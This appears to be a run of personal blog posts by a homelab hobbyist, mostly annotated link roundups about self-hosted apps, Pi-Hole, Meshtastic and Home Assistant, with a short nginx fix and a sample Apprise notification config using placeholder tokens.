Easier Than Nano! Fresh is a ‘Fresh’ New Rust-based Terminal Editor for Linux
- I usually stuck with
XDA Developers: Sendspin is ESPHome’s answer to Sonos-style multi-room audio
Docker Blog: A Safer Container Ecosystem with Docker: Free Docker Hardened Images
- I wonder if we’ll start to see some more containers use this as a base, so thought it would be interesting to read into.

selh.st: Self-Host Weekly #150: Watchtower No More, by Ethan Sholly

I guess my timing of moving to Komodo from Portainer with Watchtower was pretty good with Watchtower now being archived…
- Ethan also linked to his Self-Hosted Apps and Alternatives page for anyone looking for Watchtower replacements.
GitHub: gamosoft / NoteDiscovery: " Your Self-Hosted Knowledge Base"
- I installed this last week or earlier this week & wanted to see how i liked it. I believe someone mentioned it as an open source Obsidian (or using that for influence) so i am giving it a try. For now I’m mostly storing some config files & templates, but it seems nice so far.
Poznote: “Poznote is a lightweight yet powerful web app for taking notes.”
- I have this listed above, but since it’s on the Self-Host Weekly, it makes me want to look into it more.
GitHub: chrisbenincasa / tunarr: “Create a classic TV experience using your own media - IPTV backed by Plex/Jellyfin/Emby”
- I thought this looked interesting with the different media i have in Plex & Jellyfin.
GitHub: Mahcks / blockbusterr: “Automatically add trending, popular, and highly-rated movies and TV shows from Trakt.tv to your Radarr and Sonarr instances.”
- Seemed interesting. I at least wanted to dig into it.
GitHub: Kellojo / Modular-Homelab-Dashboard: “Allows you to quickly setup a dashboard/entry point for your homelab. It provides a customizable interface allowing you to display various metrics, system statuses, and other information from your homelab services.”
- I am still using Homepage but wanted to look at this.
GitHub: rthaines211 / MylarMobile: “Mylar3 Mobile PWA”
- Not that i have looked at my Mylar3 container in a while, but maybe some motivation to check \ work on that.
GitHub: connorgallopo / Tracearr: “Tracearr is a streaming access manager for Plex, Jellyfin and Emby servers. It answers the question every server owner eventually asks: “Who’s actually using my server, and are they sharing their login?””
- I must have thought this was for something else when I saved it, because i already know no one with access really connects to my Plex =]
GitHub: rhizomatics / updates2mqtt: “Automated checks and optional upgrades of packages via MQTT with Home Assistant compatibility”
- I need to get back into Meshtastic, MQTT, & leveraging it with Home Assistant. Hopefully over the holidays i will get some time.
GitHub: julienhmmt / vcv: “VaultCertsViewer is a Go application to list and manage certs in Vault, the easiest possible for SRE.”
- I’m still using & happy with Step-CA but wouldn’t mind something that’s a little easier to manage certs (not that Step-CA is bad at all).
GitHub: getmydia / mydia: “Your personal media companion, built with Phoenix LiveView”
- I believe this is an alternative to Plex or Jellyfin.
GitHub: scanopy/scanopy: “Clean network diagrams. One-time setup, zero upkeep.”
- It would be very nice to have a network overview without writing out or trying to maintain a text or spreadsheet with all the details…

w33k in g33k: December 05, 2025

Fri, 05 Dec 2025 17:00:00 -0400

selh.st: Self-Host Weekly #147: Ad-Free, by Ethan Sholly

I didn’t get a chance to make my weekly post with the holiday last week, so these were a few of the projects I had saved from Ethan’s post.
GitHub: tokendad/NesVentory: “NesVentory is a modern home inventory management application that helps you track and organize your household items, their locations, warranties, and maintenance schedules.”
- I may not do anything with this, but with being a new homeowner, part of me at least wants to take a look & see if this would be beneficial.
GitHub: gelatinescreams/The-One-File: “In the end there can only be “The ONE File”, your portable, immortal network topology maker for when everything else goes down.”
- I really wish I could get NetAlertX working again, but for now I’ve just been using WatchYourLAN to monitor network devices.
GitLab: dbrc-grp/training-journal: “A modern, self-hosted workout tracking application built with PHP, JavaScript, and CSS. Track your exercises, manage training sessions, and monitor your fitness progress with an intuitive drag-and-drop interface.”
- Maybe motivation to workout more.
GitHub: venkyr77/jellarr: “Declarative configuration engine for Jellyfin — apply and sync server settings from YAML via the Jellyfin API.”
GitHub: OrwellianEpilogue/ephemera: “Search and download books from your girl’s favorite archive. Includes a request system to auto-download books once they’re available. Supports auto-move to a BookLore or Calibre-Web-Automated ingest folder or BookLore API upload.”
GitHub: karanhudia/borg-ui: “Replace complex Borg Backup terminal commands with a beautiful web UI. Create, schedule, and restore backups with just a few clicks.”

Games

Engadget: You can now play Command & Conquer: Red Alert 2 in your browser: “The Chrono Divide project (via PC Gamer) lets you play the 2000 RTS in Chrome, Edge, or Safari. Although it supports Firefox, too, its developer says it should be avoided if you want “good performance.” It even works in mobile browsers.”
9to5 Google: Someone ported the iconic pinball game from Windows XP to Android, and it’s free
Dreams (PlayStation): Banjo-Kazooie: Mumbomania: “Mumbo joins the bear and bird in this buddy-trio collectathon adventure. Mysteriously disembodied, Mumbo can float freely to help Banjo and Kazooie fight, collect, and transform!”
Boing

Health

It’s FOSS: This Open Source Android App Fights Brainrot With Basic Math Problems
- Mental Math

IT Security

GitHub: SaadAhla / Anti-Sandbox: “Detecting AnyRun sandbox, and more is coming out in the future.”
- I forget where I came across this (Mastodon or BlueSky?) but it was mentioned that it was created because of AnyRun’s Russian ownership? At the very least I wanted to dig into that part of this.
GitHub: yo-yo-yo-jbo / commandline_spoofing: “Commandline spoofing on Window”
- I work in IT Security, so this caught my interest for that reason & I like using & learning more about PowerShell.
xbz0n@sh: Living Off the Land: Windows Post-Exploitation Without Tools
- Saved this because IT Security
GitHub: arosenmund / defcon33_silence_kill_edr
GitHub: secmon-lab / warren: “AI-powered security alert management that reduces noise and accelerates response time”
The Sequence: Shai-Hulud 2.0: Inside the NPM Supply Chain Worm
- I have been looking into this recently for work, so thought i would give this a read.

Linux

It’s FOSS: ObsidianOS Review: A New, Innovative Linux Distro Built Around A/B Partitioning: “The idea to rollback via two root partitions is interesting. This is certainly not your regular rethemed Arch distro.”
- I just thought a new OS might be something fun to play with on a spare device.
It’s FOSS: Open Source Never Dies: 11 of My Favorite Linux Apps That Refused to Stay Dead: “These Linux apps were popular once. And then they were abandoned. And then they came back with a new generation tag.”
- Always curious to see what apps \ tools others run & if they would be a good fit for my usecases.
Ubergizmo: Free App Enables AirPods Features On Android And Linux
- GitHub: kavishdevar / librepods: “AirPods liberated from Apple’s ecosystem.”
- OMG Ubuntu also had a post about this app: Use AirPods Pro Features on Linux with LibrePods

Privacy

Infosec.Pub: Manufacturer issues remote kill command to disable smart vacuum after engineer blocks it from collecting data — user revives it with custom hardware and Python scripts to run offline
- Tom’s Hardware: Manufacturer issues remote kill command to disable smart vacuum after engineer blocks it from collecting data — user revives it with custom hardware and Python scripts to run offline

Self-Hosted

Benjamin Tseng: Backup Your Home Server with Duplicati
- This is what a friend of mine is using for backups & I’m starting to look into. Originally i was doing Borg
- I may be looking into Restic too
マリウス: Be Your Own Privacy-Respecting Google, Bing & Brave
- I’ve looked into SearXNG a few times over the years but never really sat down with it. I may start looking at it again though.
GitHub: tokendad/NesVentory: “NesVentory is a modern home inventory management application that helps you track and organize your household items, their locations, warranties, and maintenance schedules.”
GitHub: gelatinescreams/The-One-File: “In the end there can only be “The ONE File”, your portable, immortal network topology maker for when everything else goes down.”
GitLab: dbrc-grp/training-journal: “A modern, self-hosted workout tracking application built with PHP, JavaScript, and CSS. Track your exercises, manage training sessions, and monitor your fitness progress with an intuitive drag-and-drop interface.”
GitHub: venkyr77/jellarr: “Declarative configuration engine for Jellyfin — apply and sync server settings from YAML via the Jellyfin API.”
GitHub: OrwellianEpilogue/ephemera: “Search and download books from your girl’s favorite archive. Includes a request system to auto-download books once they’re available. Supports auto-move to a BookLore or Calibre-Web-Automated ingest folder or BookLore API upload.”
GitHub: karanhudia/borg-ui: “Replace complex Borg Backup terminal commands with a beautiful web UI. Create, schedule, and restore backups with just a few clicks.”
Infosec.Pub: Favorite Self-Hosted Tools in 2025 (Looking for More Suggestions!)
Infosec.Pub: Pixelix
- F-Droid: Pixelix: “Pixelix provides a smooth and intuitive interface for interacting with Pixelfed, the federated image-sharing social network. Designed with user experience in mind, Pixelix makes it simple to connect to your Pixelfed instance, upload photos directly from your device, and browse through your feed with ease. Whether you’re a seasoned Pixelfed user or just getting started, Pixelix offers a streamlined way to share and discover visual content.”
GitHub: HonKLam / Dynos: “Third-Party & offline-first App for @usememos for iOS & Android”
GitHub: ANGulchenko / whatmade: “Whatmade is a Linux daemon that monitors user-specified directories and records which process created each file.”

Miscellaneous

It’s FOSS: Not Every Browser is Built on Chrome: Explore These Firefox-based Options
- I’ve been seeing a few people complaining about the way Firefox is going, the AI features being added, etc, so I wanted to see what non-Chromium browsers are options if i switch from Firefox.
- Hack A Day: So Long, Firefox, Part One
- Hack A Day: So Long Firefox, Hello Vivaldi
Gimodo: Google Home Users Are Trying to Hack Their Way to a Better Voice Assistant: “People are desperate to get the Gemini for Home upgrade on their Google-made smart speakers.”
- When I saved this i thought it was modifying something with the device, not just trying to get Gemini for Home on there.
- “According to Redditor u/Siciliano777, typing “googlehome://assistant/voice/setup” into the address bar in Chrome actually brings up the options to enable Gemini for Home on your personal Google devices.”
- /r/GoogleHome: (Updated) force Gemini for home
Gizmodo: Christina Chong Has a Wild Idea for a ‘Doctor Who’ and ‘Star Trek: Strange New Worlds’ Crossover: “Lorna Bucket is the key to all this. Naturally.”
- I may hold off on actually reading this to not get spoilers (pretty behind on Doctor Who & Strange New Worlds), but interested me as a fan of both shows.
Lifehacker: The Best Journal Apps to Use Instead of Your Phone’s Built-In Option: “There are better third-party apps out there.”
- Saved this before reading… just hoping it’s not going to be a glorified “sponsored” post that’s just going to say to use paid alternatives, even if they are the same or barely better than builtin options.
- The built-in options
  - Journal by Apple

Let’s start with Journal by Apple, launched in December 2023. It’s fair to say there haven’t been a ton of updates released for the app since then, but all of the essentials are covered: Your journal entries can combine text, photos, videos, audio, locations, and sketches, and you can even set up multiple journals for different purposes.

w33k in g33k: November 14, 2025

Fri, 14 Nov 2025 17:00:00 -0400

Android

Lichtmetzger Design & Technik: Rooting the Unihertz Titan 2 and installing Magisk
- I was just looking for how to enable developer mode for the device (must have been tapping the wrong “Build Number” field) & one of the first results was about getting root & Magisk installed. I don’t plan for this to be my daily driver phone, but may end up doing the root \ Magisk for fun.

Privacy

EFF: The Legal Case Against Ring’s Face Recognition Feature

Self-Hosting

Likely do to something I did… I had some issues with one of my “servers” running a few Docker containers, storing their data on an external drive. Long-story-short, I wiped the drive forgetting I had other containers saving data there too (Nextcloud was what had the issue but Immich & DailyTxT were on there too).
- After getting Nextcloud setup again (I honestly forget what issue I had in the first place that made me start that one from scratch), I ended up doing the same for Immich & restored a backup I had for DailyTxT.
Another issue I had (might have been related to above) was my Portainer service on the same host lost my compose files. I don’t believe it was storing data on the external drive that I wiped, but I guess that would explain the issue.
- I ended up having to use docker inspect to find what information I could, combine that with the recommended docker-compose files, & got that all up & running again. Of course now I’ve made sure I save those compose files more often & in multiple places.
- This is why I started looking into Komodo, because I believe I read that it should be able to backup the compose files, & manage multiple hosts. I never really got that part of Portainer setup.
- So for now, I am slowly deploying out Komodo to see if I want to replace Portainer with it. Right now I’m just trying to see how I can get Komodo to create stacks on a remote host, but that is running rootless Docker, & as soon as I figure that out, I will start moving more management there. And also double checking all my backups to make sure that when i make a mistake & lose something again, it won’t be that big of a deal 🙃
To not have to worry about losing notes in one container, I am testing a few out again to see which other(s) I might want to run alongside Nextcloud Notes. I’ve saved a few over the last few months, so just grabbed some of those to run.
- flatnotes
- Glass Keep: I was already running this & just plan for it to be little notes, not posts I make here or more involved things.
- Joplin: Again, was already running this but wasn’t using it for site posts, which has been the main focus of Nextcloud notes for me recently.
- Many Notes
- Note Mark
It’s not necessarily for note taking, but I think SelfH.st mentioned Journiv last week, so I’m trying that out alongside DailyTxT just as another backup.

selh.st: Self-Host Weekly #145: Agentic, by Ethan Sholly

It looks like Ethan has a lot of things I’ll be looking into this weekend…
Ars Technica: Google will let Android power users bypass upcoming sideloading restrictions
GitHub: henrygd / beszel: “Lightweight server monitoring hub with historical data, docker stats, and alerts.”
GitHub: fccview / cronmaster: “Cron management made easy”
GitHub: damongolding / immich-kiosk: “Highly configurable slideshows for displaying Immich assets on browsers and devices.”
- I always mix up if my Frameo frame is using this or ImmichFrame: “An awesome way to display your photos as a digital photo frame”. So it does look like it’s actually ImmichFrame I am using there. I am still running the Kiosk for whatever reason as well…
GitHub: rcourtman / Pulse: “A responsive monitoring platform for Proxmox VE, PBS, and Docker with real-time metrics across nodes and containers”
- I am still getting settled with Komodo, but still wanted to checkout other monitoring \ dashboard services.
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
- Eventually after putting this on my weekly list repeatedly, I will remember \ get to trying this out.
GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”
- Over the last week or two I was having to setup my Nextcloud instance from scratch, which was where I had a lot of my financial \ bill calendar entries, so just thought something dedicated might be worth looking at, just-in-case.
GitHub: mvfc / backvault: “Docker container to backup Bitwarden/Vaultwarden vaults to password protected json files”
- Right now I just have a scheduled script that is backing up my Vaultwarden directory, so this might be a better option.
GitHub: sbcrumb / chronarr: “Comprehensive date and chronology management for Radarr and Sonarr”
- I haven’t really been using my Radarr or Sonarr, but may still take a look at this to get into them again.
GitHub: kikootwo / LibraryDownloadarr: “LibraryDownloadarr is a modern, self-hosted web application that provides a beautiful interface for downloading media from your Plex Media Server.”
- I am trying to get Jellyfin working in more places (issues on my AppleTV’s), but i am still currently using Plex quite a bit.
GitHub: getmydia / mydia: “Your personal media companion, built with Phoenix LiveView”
- I saved this since it was noted as a Radarr or Sonarr alternative.
GitHub: icbestCA / giftmanager: “Gift ideas manager for families.”
- This jumped out just because of the time of year, so wanted to look into it.
GitHub: mayanayza / netvisor: “Automatically discover and visually document network infrastructure.”
- I wanted to look into this instead of trying to document my network in Draw.io or just a spreadsheet…
GitHub: fscorrupt / Posterizarr: “🖼️ Automated poster maker for Plex/Jellyfin/Emby.”
- I have some libraries & other content that might benefit from a tool like this.

w33k in g33k: October 17, 2025

Fri, 17 Oct 2025 17:00:00 -0400

Automation

$13 voice assistant for Home Assistant: Since I’m trying to focus more on setting up HomeAssistant, I was trying to see what people use for voice assistants & came across this article. I ordered a couple of the ATOM Echo Smart Speaker Development Kits so I can see how that works out.

Miscellaneous

PiCockpit: Raspberry Pi 5 has a Real-Time Clock. So What?: Since I’m running Pi-Hole on a Raspberry Pi 5 now, & that it also setup as an NTP server, I’m hoping this might help the device itself & rest of the network when the host goes down.
- Raspberry Pi Documentation: Real Time Clock (RTC)
crontab guru: As I’ve been working with cron more for things like NetAlertX & since it’s been a while since I worked with cron so i forgot syntax, this site has always been useful.

Security

Yanko Design: Flipper One Rumors Suggest a Pocket Computer With ‘Hacking Tools’ That Governments Can’t Ban

Self-Host Weekly (17 October 2025), by Ethan Sholly

William Elimbi: My Personal Digital Library with Z-Library, Telegram, Syncthing and OPDS: I’m curious to see other eBook setups since i haven’t really managed mine & need to see about Calibre, calibre-web, BookLore, etc.
- And funny enough, it looks like BookLore has a new release: v1.7.0
GitHub: agregarr / agregarr: “Agregarr is a Plex Collections manager that keeps your Home and Recommended fresh by frequently updating it with collections from various sources”
GitHub: serversinc / docker-backup: “A CLI tool for backing up Docker instances; Containers, Networks, Images, Volumes”
GitHub: FoxxMD / docker-proxy-filter: “Filter the contents of Docker API responses”
- I just got Docker setup again on one of my hosts to sync my two Pi-Holes, & for monitoring & management, I also have Homepage & Portainer connecting to the Docker API. It’s all protected via client certificates, but still curious on this.
GitHub: saihgupr / HomeAssistantTimeMachine: “Home Assistant Time Machine is a web-based tool that acts as a “Time Machine” for your Home Assistant configuration.”
- Probably a good idea for when i inevitably break my Home Assistant install \ config.
GitHub: MatiasDesuu / ThinkDashboard: “A lightweight, self-hosted bookmark dashboard with keyboard shortcuts.”
- I’m using Homepage, but maybe this would be a nice alternative if I quickly want a bookmark vs. the live data I can get from Homepage.
GitHub: iongpt / boxarr: “Boxarr is an automated box office tracking application that integrates with Radarr to monitor, add, and manage the latest theatrical releases. It provides a beautiful dashboard showing the current box office top 10, their status in your Radarr library, and allows quality profile management.”
GitHub: Termix-SSH / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
- I can’t remember if this is something i tried before, but may look at it again.
- Termux Docs

nginx with Pi-Hole v6

Tue, 14 Oct 2025 08:12:00 -0400

After having issues with my Raspberry Pi 4, 4GB Pi-Hole last week, I just picked up a 5 to replace it, assuming it was the hardware. Overall the cutover was straight-forwarded, I had done some prep work with packages, configs, etc before cutting anything over, then last night I actually took the jump.

Again, for the most part, it was all smooth. Thie biggest headache i ran into was getting the Pi-Hole web interface working with nginx… I have 2 Pi-Hole’s, so i was able to use the nginx from my secondary as a reference, & tried using that for the primary. Just a few hours of “403 Forbidden” errors when trying to browser to the domain.tld/admin. For the hell of it, just trying to keep the …/sites-enabled/ directory clean i deleted the default nginx config… that fixed my issue 😑. So if anyone else (or i) run into this issue again… just make sure the default nginx config file is no longer in place. Magic!

w33k in g33k: October 10, 2025

Fri, 10 Oct 2025 17:00:00 -0400

Android

Dev.to: What to do with a Surface Duo in 2025: I know i started looking into a newer Android version for my Surface Duo, but don’t think i did anything about it. So now i’m looking into it again.
- GitHub: Archfx / duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”

Games

WCCFTech: Hades 2 Weapons Tier List Guide: I haven’t played Hades 2 yet, but it was something i saved for later reading.

Hardware

FuriLabs: FLX1s: “The FLX1s from Furi Labs runs a fully optimized Linux system called FuriOS, packing a lightning fast user interface, 3 hardware switches for microphone, camera and modem/gps, and a privacy centric approach like no other.”
- It’s FOSS: This $550 Linux Phone Has Kill Switches That Protect Your Privacy
- Yanko Design: This Linux phone with Android app support has three kill switches for complete privacy
Hack A Day: Trapped Soul In Time For Halloween: I might have already added this to last week’s post, but i thought it was interesting so i’m adding it (again).

Privacy

XDA: I tried many Pi-hole tweaks, and here are the 5 that actually made a difference
- I thought i lost my blocklists for Pi-Hole & came across this when digging into what lists I wanted to put back. I thought it might have some interesting items to look into.
- “Using well-curated blocklists pays off”
- “Enabling DNSSEC improved privacy and trust”
- “Blocking known malware and phishing domains”
- “Setting up Pi-hole as the network’s only DNS resolver”
- “Adding a local DNS entry for my home services”
- Reading through these… i wouldn’t consider these tweaks… they’re just additional features that Pi-Hole has. So maybe not as useful as I was expecting.
GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List: “This list, also known as BADBOOL, was started in September 2017 and was most recently updated on September 30, 2025 to remove CocoFinder, as the Google form included to opt out was removed by Google due to alleged terms of service violations. Once there is a way to opt out, it will be re-added.”

Meshtastic

Since I’ve been trying to do more with Meshtastic & notifications (ntfy, Gotify, Apprise) & can use just a simple Discord server as the destination, i was planning to checkout these projects that were mentioned in the nyme.sh
- GitHub: baymesh / rage-against-the-meshine
- GitHub: axlixr / Meshtastic-to-Discord-bridge
- GitHub: Kavitate / Meshtastic-Discord-Bot
Chicagoland Mesh: MQTT: Mistakes to Avoid
- GitHub: meshtastic / antenna-reports: “Community-contributed antenna testing reports and evaluations for Meshtastic devices.”
Chicagoland Mesh: Setting up MQTT for your node
adrelien: How To Host Your Own MQTT For Your Meshtastic Nodes
Meshtastic: Local Groups
- United States
Meshtastic Australia: Crash Course
MichMesh: Getting Started
MichMesh: nstallation and configuration of the Mosquitto MQTT server
/r/meshtastic: MQTT etiquette

Miscellaneous

It’s FOSS: How I am Using Git and Obsidian for Note Version Management: I’m still mainly using Joplin for notes, but do have Obsidian as well. I think I’ve more been using it as a backup for content I keep in DailyTxT.
- I am still super excited for when DailyTxT 2.0 will be released as well.
Nextcloud Forums: How to edit Nextclouds config.php file with a texteditor?: I honestly forget what issue i ran into with my Nextcloud install where i needed to edit the config file, but since I’m running it in a Docker container, i was looking for this info to fix my problem.
GitHub: Loosetooth / syncwings: “SyncWings is self-hosted software that lets you sync files between multiple devices and manage them easily through a web-based file manager. Supports multiple users on a single server.”
/r/SelfHosted: Syncthing Homepage Widget
https://docs.syncthing.net/dev/rest.html
Pi-Hole Discourse: Pihole 6 (upgraded from v5) fails regulary seems to related to sqlite3 error
Pi-Hole Discourse: Is it possible to have 2x DHCP servers with Pi-Hole + Gravity Sync?: Trying to see how to setup DHCP on a second Pi-Hole since I’m having problems with my primary & tired of my network pretty much getting taken out when primary Pi-Hole has problems.
Unraid: Redundant PiHole DHCP setup !

Self-Host Weekly (10 October 2025)), by Ethan Sholly

Akash Rajpurohit: Beszel — Lightweight self-hosted server monitoring for your homelab: I’m still trying to settle on a way to get alerts about servers or containers being down, so I will look into Bezel.
GitHub: dockpeek / dockpeek: “Easily access your Docker container web interfaces and keep them up to date — across all your hosts.”
- For the same reasoning as above, looking for a good way to monitor Docker containers.
GitHub: jeffcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”
- This might be one I saved before. I’m currently using the EFF’s Certbot smallstep’s Step CA Server for certificate management & automatic renewals. That has been going extremely well, but still like to keep an eye out for alternatives.
GitHub: adanowitz / HASSL: “Home Assistant Simple Scripting Language”
- I’ve been digging into HomeAssistant more, so planning to check this out.
GitHub: jtaylortech / journalot: “Minimal journaling CLI for developers. Git-backed, terminal-native, zero friction. Just type journal and start writing.”
- Anything mentioned as a “journal” gets my attention, even though I’m extremely happy with DailyTxT. Which I’m now seeing has it’s 2.0 release out… will definitely be taking advantage of that.
GitHub: jasonyang-ee / MMMF: “Max Money Market Funds Calculator”
GitHub: perstarkse / minne: “Minne, a read-it-later & personal knowledge management solution”
GitHub: NeoHuncho / vikunja-voice-assistant: “Simplify your Vikunja task creation using Home voice assistant”
GitHub: LoredCast / filewizard: “File Converter, OCR, Transcription & TTS WebUI”
GitHub: volantvm / flint: “Lightweight tool for managing linux virtual machines”
GitHub: effcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”

Apprise Config File

Mon, 06 Oct 2025 17:00:00 -0400

GitHub: caronc / apprise

I took a look at this a few years back, but didn’t really dig too much into it.
Now that I was playing around with Gotify alongside ntfy.sh, I thought it would be worth looking into Apprise again, so i don’t need to keep adding blocks for Gotify & ntfy to any scripts where I was leveraging them.

Config File: ~/.config/apprise/config.yaml

# https://github.com/caronc/apprise/wiki/config_yaml

# Host: LenovoM710q
# Path: /home/smc/.config/apprise/config.yaml

# Define your Groups
# groups:
   # - friends:
# Multiple Group Assignments; reuse of a tag causes existing assignment
# to stack on the previous value.
# TeamA, Friends = user1, user3
# TeamB, Friends = user2, user4

# Our global tags to associate with all of the URLs we define
# tag:

urls:
  # One-liner (no colon at the end); just the url as you'd expect it:
  # - ntfys://ntfy.domain.home/topic1-General # topic1, topic2, topic3 # different topic names so i don't have to go looking them up.
  # - gotifys://gotify.domain.home/appToken

  # [Discord](https://github.com/caronc/apprise/wiki/Notify_discord):
  # - discord://webhook_id/webhook_token
  # - discord://avatar@webhook_id/webhook_token
  # https://discord.com/api/webhooks/#########/a1b2c3d4
  #   id: #########
  #   token: a1b2c3d4
  - discord://#########/a1b2c3d4

  # [Gotify](https://github.com/caronc/apprise/wiki/Notify_gotify):
  # - gotifys://gotify.domain.home/$token
  # - gotifys://gotify.domain.home/$token?priority=$severity
  # Applications:
  # - Server 1: Token1
  # - Server 2: Token2
  # - Server 3: Token3
  - gotifys://gotify.domain.home/appToken

  # [Home Assistant](https://github.com/caronc/apprise/wiki/Notify_homeassistant):
  # - hassios://homeassistant.domain.home/?accesstoken
  # - hassios://user@homeassistant.domain.home/accesstoken
  # - hassios://user:password@homeassistant.domain.home:443/accesstoken
  # - hassios://homeassistant.domain.home/optional/path/accesstoken
  - hassios://homeassistant.domain.home?appKey

  # [Mastodon](https://github.com/caronc/apprise/wiki/Notify_mastodon):
  # - mastodons://access_key@hostname
  # - mastodons://access_key@hostname/@user
  # - mastodons://access_key@hostname/@user1/@user2/@userN

  # [MQTT](https://github.com/caronc/apprise/wiki/Notify_mqtt):
  # - mqtts://mqtt.domain.home/$topic
  # - mqtts://user@mqtt.domain.home/topic
  # - mqtts://user:pass@mqtt.domain.home:9883/topic
  # - mqtts://mqtt.domain.home:8883/mqttTopic # 20250928: SMc: Having issues with this one.

  # [Nextcloud](https://github.com/caronc/apprise/wiki/Notify_nextcloud):
  # - nclouds://adminuser:pass@nextcloud.domain.home/User
  # - nclouds://adminuser:pass@nextcloud.domain.home/User1/User2/UserN

  # [Nextcloud Talk](https://github.com/caronc/apprise/wiki/Notify_nextcloudtalk):
  # - nctalks://user:pass@nextcloud.domain.home/RoomId
  # - nctalks://user:pass@nextcloud.domain.home/RoomId1/RoomId2/RoomIdN
  - nctalks://AppriseUser:passkey@nextcloud.domain.home/string

  # [ntfy](https://github.com/caronc/apprise/wiki/Notify_ntfy):
  # Topics: topic1, topic2
  # - ntfys://ntfy.domain.home/$topic/
  # - ntfys://ntfy.domain.home/$topic/
  - ntfys://ntfy.domain.home/topic

  # [Signal API](https://github.com/caronc/apprise/wiki/Notify_signal):
  # - signals://signal-api.domain.home:443/FromPhoneNo
  # - signals://signal-api.domain.home:443/FromPhoneNo/ToPhoneNo
  # - signals://signal-api.domain.home:443/FromPhoneNo/ToPhoneNo1/ToPhoneNo2/ToPhoneNoN/
  - signals://signal-api.domain.home:443/phoneNo/phoneNo

  # [Telegram](https://github.com/caronc/apprise/wiki/Notify_telegram):
  # Alphr: [How to Find a Chat ID in Telegram](https://www.alphr.com/find-chat-id-telegram/)
  # - tgrams://bottoken/ChatID
  # - tgrams://bottoken/ChatID1/ChatID2/ChatIDN
  - tgram://ID:key/chatID # Message to my Telegram handle
  # - tgram://ID:key/-100group # Message to the group.
  - tgram://ID:key/-100group:1/ # Message to "General" topic in group.
  # - tgram://ID:key/-100group:8/ # Message to "Testing" topic in group.

w33k in g33k: October 03, 2025

Fri, 03 Oct 2025 17:00:00 -0400

selh.st: Self-Host Weekly (3 October 2025), by Ethan Sholly

(https://nextcloud.com/blog/nextcloud-hub25-autumn/)
HomeAssistant: Portainer
GitHub: booklore-app / booklore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
GitHub: home-assistant / core: “🏡 Open source home automation that puts local control and privacy first.”
GitHub: immich-app / immich: “High performance self-hosted photo and video management solution.”
GitHub: nextcloud / richdocuments: “📑 Collabora Online for Nextcloud”
GitHub: nextcloud / spreed: “🗨️ Nextcloud Talk – chat, video & audio calls for Nextcloud”
GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: Sync-in / server: “Sync-in Server · Secure, open-source platform for file storage, sharing, collaboration, and syncing.”
GitHub: LukeGus / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
GitHub: wizarrrr / wizarr: “Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby etc.”
GitHub: darthnorse / dockmon: “DockMon - Modern Docker container monitoring with auto-restart and alerts”
GitHub: epichfallen / ImmichSafe: “The Ultimate Companion for Your Immich Server”
GitHub: raygan / mam-audiofinder: “a messy vibe-coded tool to download audiobooks from MyAnonymouse using qBittorrent, and import them to an Audiobookshelf library”
Play Store: (https://play.google.com/store/apps/details?id=com.zfredesign.myapplicationdump): “Oceanwaves is an advanced Android app that acts as a Jellyfin music client. It combines seamless playback, rich metadata, and smart recommendations.”
GitHub: danblock97 / z3st-habits: “Fun, friendly and informative habit tracking, create groups, compete with friends. Accountability but made fun”
GitHub: Reaparr / Reaparr: “Plex downloader that brings content from any server to yours!”
YouTube: DB Tech: HomeHub - Your Family’s Private, Self-Hosted Home Organization Center
YouTube: VirtualizationHowto: The First Services I Always Spin Up in Any Home Lab
YouTube: Everything Smart Home: Everything New In Home Assistant 2025.10!
YouTube: Veronica Explains: Using rsync for backups, because it’s not shiny and new

w33k in g33k: September 26, 2025

Fri, 26 Sep 2025 17:00:00 -0400

Linux

It’s FOSS: How I Configure Polybar to Customize My Linux Desktop: “Polybar is a standout choice among these alternatives. It’s a fast, highly customizable status bar that not only looks great but is also easy to configure.”
- polybar: “A fast and easy to use tool for creating status bars”
Ubuntu Touch on rabbit r1: I still had a spare r1 sitting around & happen to see that Ubuntu Touch supports it, so after some troubleshooting, i was finally able to get Ubuntu Touch running on my r1. I may end up writing a specific post about this because i ran onto some issues (probably of my own making) & also some other things that might not have been on me, so others may have the same issue.
- telegra.ph: Ubuntu Touch Installation on rabbit r1 - a detailed Guide
- GitHub: RabbitHoleEscapeR1 / r1_escape
- Rabbit R1 Flash Tool
Friendly Elec: NanoPi R5C: I have had this for ages & never did anything with it… trying to actuall get some kind of use for it.
- Friendly Elect Wiki: NanoPi R5C
Out-of-date version of Ubuntu on a ThinkPad, so just going to start that off clean…: Lenovo Support: How to boot from a USB Drive - ThinkPad: F12 at boot.

Meshtastic

Heltec: WiFi LoRa 32(V4), ESP32S3 + SX1262 LoRa Node, Meshtastic and LoRaWAN Compatible: I have a v3, so i figured I would look into the v4 to see if i should upgrade, or just get it as an additional node to use.

Privacy

GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List

Miscellaneous

Hack a Day: Trapped Soul In Time For Halloween
ntfy: Example: Private instance: Looking into how i can configure users \ credentials for certain ntfy topics.
- I’m still running ntfy & Gotify, so just trying to see which i like more.
- I’ve been meaning to check if i should see about running Apprise to make using both services a little easier, but haven’t gotten to it yet.

Self-Host Weekly (26 September 2025)

GitHub: silverbulletmd / silverbullet: “An open source personal productivity platform built on Markdown, turbo charged with the scripting power of Lua”
GitHub: SluberskiHomeLab / ditdashdot: “DitDashDot is a simple, clean, and easy-to-configure services dashboard designed specifically for homelabs. Built with React.js and containerized with Docker, it provides a central hub to view and manage your homelab services.”
GitHub: LoredCast / filewizard: “File Converter, OCR, Transcription & TTS WebUI”
GitHub: cassandra / home-information: “Home Information - Your home, your data, organized.”
- Saw this one on reddit too
GitHub: surajverma / homehub: “A lightweight, no-login, self-hosted family utility for your home.”
GitHub: rippleFCL / meshmon: “Distributed monitoring ting”
